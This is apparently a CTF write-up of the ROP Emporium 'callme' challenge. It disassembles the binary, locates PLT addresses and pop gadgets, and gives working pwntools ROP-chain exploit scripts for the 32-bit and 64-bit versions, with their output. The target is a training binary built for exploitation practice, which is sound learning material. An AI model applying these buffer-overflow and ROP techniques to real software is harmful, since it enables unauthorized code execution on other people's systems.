callme
Analysis
As per the instructions on the website
You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.
So let's look at our friend usefulFunction
.
pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0804880c <+0>: push ebp
0x0804880d <+1>: mov ebp,esp
0x0804880f <+3>: sub esp,0x8
0x08048812 <+6>: sub esp,0x4
0x08048815 <+9>: push 0x6
0x08048817 <+11>: push 0x5
0x08048819 <+13>: push 0x4
0x0804881b <+15>: call 0x80485b0 <callme_three@plt>
0x08048820 <+20>: add esp,0x10
0x08048823 <+23>: sub esp,0x4
0x08048826 <+26>: push 0x6
0x08048828 <+28>: push 0x5
0x0804882a <+30>: push 0x4
0x0804882c <+32>: call 0x8048620 <callme_two@plt>
0x08048831 <+37>: add esp,0x10
0x08048834 <+40>: sub esp,0x4
0x08048837 <+43>: push 0x6
0x08048839 <+45>: push 0x5
0x0804883b <+47>: push 0x4
0x0804883d <+49>: call 0x80485c0 <callme_one@plt>
0x08048842 <+54>: add esp,0x10
0x08048845 <+57>: sub esp,0xc
0x08048848 <+60>: push 0x1
0x0804884a <+62>: call 0x80485e0 <exit@plt>
End of assembler dump.
So we have all the three required function calls, but in reverse order, and with different parameters, so calling this function won't get use the flag we are looking for, but we have function calls available to us in the PLT, which is good.
So we'll have to build a ROP chain to call these three functions, in the right order (one, two, three) and with right parameters (1, 2, 3).
32 bit
So we have the PLT addresses available for the three function calls.
callme_one - 0x80485c0
callme_two - 0x8048620
callme_three - 0x80485b0
The offset to EIP
is at 44 bytes.
So our exploit should look something like this
JUNK + Call to one + JUMP TO call two + 1 + 2 + 3 -> Repeat
So now we have to find a way to jump pass the 3 parameters and call the other function once the first function is done execution. In this case I found a ROP gadget that pops the value from stack into 3 different registers and then returns back to the stack.
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
So now our exploit will look something like this.
JUNK + call_one + ROP_GADGET + 1 + 2 + 3 + call_two > Repeat
So let's construct the exploit and get our flag. Note:
from pwn import *
offset = "A"*44
call_one = p32(0x80485c0) + p32(0x080488a9) + p32(1) + p32(2) + p32(3)
call_two = p32(0x8048620) + p32(0x080488a9) + p32(1) + p32(2) + p32(3)
call_thr = p32(0x80485b0) + "JUNK" + p32(1) + p32(2) + p32(3)
print offset + call_one + call_two + call_thr
$ python exploit.py > exploit.payload
$ cat exploit.payload | ./callme32
callme by ROP Emporium
32bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}Segmentation fault
64 bit
So due to change in how parameters are passed to x64
architecture systems, we'll have to alter our exploit generation process. Now our exploit will look something like this
Gadget_to_load_parameters + Parameters + Function Call > Repeat
So in x64
parameters are loaded in this order, RDI
, RSI
, RDX
, and so on. Apparently we were able to find a gadget that just that did.
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
And the PLT
addresses for the functions were available from the disassembly of the usefulFunction
.
0x401850 - ONE
0x401870 - TWO
0x401810 - THREE
So now let's construct our final exploit and get the flag.
from pwn import *
offset = "A"*40
one = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401850)
two = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401870)
three = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401810)
print offset + one + two + three
$ python exploit.py > exploit.payload; cat exploit.payload | ./callme
callme by ROP Emporium
64bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}
Last updated
Was this helpful?